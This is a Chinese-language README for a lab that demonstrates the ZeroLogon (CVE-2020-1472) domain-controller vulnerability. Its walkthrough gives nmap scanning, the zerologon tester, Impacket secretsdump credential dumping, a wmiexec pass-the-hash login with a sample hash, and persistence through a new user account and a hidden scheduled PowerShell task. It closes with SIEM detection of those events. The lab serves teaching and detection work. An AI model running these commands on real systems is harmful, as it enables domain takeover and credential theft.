ZeroLogon-CVE-2020-1472

ZeroLogon (CVE-2020-1472) 漏洞的说明与演示

本实验的目的严格限于教育用途。不建议在生产环境或非您拥有的环境中执行。

关于漏洞

漏洞背景

此漏洞允许网络犯罪分子接管域控制器（DC）。攻击方式是通过更改或移除控制器上服务账户的密码。恶意攻击者可能仅仅造成服务拒绝，或者完全控制并拥有整个网络。微软已于2020年8月发布补丁。

严重性：10.0（严重）(CVSS v3.1)

受影响组件：微软 Netlogon 远程协议 (MS-NRPC)

受影响 Windows 版本：

Windows Server 2008 R2
2012 / 2012 R2
2016
2019
2020年8月/9月补丁之前的版本

需求

克隆仓库

如果要在本地执行！

在 AWS 上也可以使用这些镜像（注意计费）

额外：一个 Wazuh 账户用于 SIEM 事件分析。

Wazuh Cloud（14天试用）

如何利用

提示：在 Kali Linux 中，SSH 服务默认是禁用的——需要手动启动。

在测试服务器是否易受攻击之前，我们可以使用 nmap 查看哪些端口是开放的：

nmap -sS -T4 -F --open -n ip

使用 CVE-2020-1472 - 测试目标服务器是否易受攻击。执行命令：

zerologon_tester.py <dc-name> <dc-ip>

secretdump 工具是 Impacket 的一个工具包。

python3 secretsdump.py -just-dc wayne/w2008\[email protected]

python3 wmiexec.py wayne/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:088386eb6982d0c2f8960c26b1ff9e6c

如果一切顺利，我们将能使用哈希进行登录什么是 pass-the-hash 攻击？

现在只需创建持久化！可以是一个新用户！

net user coringa Batman2025 /add

完成！用户创建成功！

也可以创建一个任务！

mkdir C:\Temp

schtasks /Create /TN "CriarBackupPS1" /TR "powershell -NoProfile -WindowStyle Hidden -Command \"New-Item -Path 'C:\Temp\backup.ps1' -ItemType File -Force -Value '# backup script'\"" /SC ONLOGON /RL HIGHEST /F

SIEM 中的事件

可以看到用户创建以及与 pass-the-hash 和用户创建相关的事件！

最受欢迎

ZeroLogon-CVE-2020-1472-lab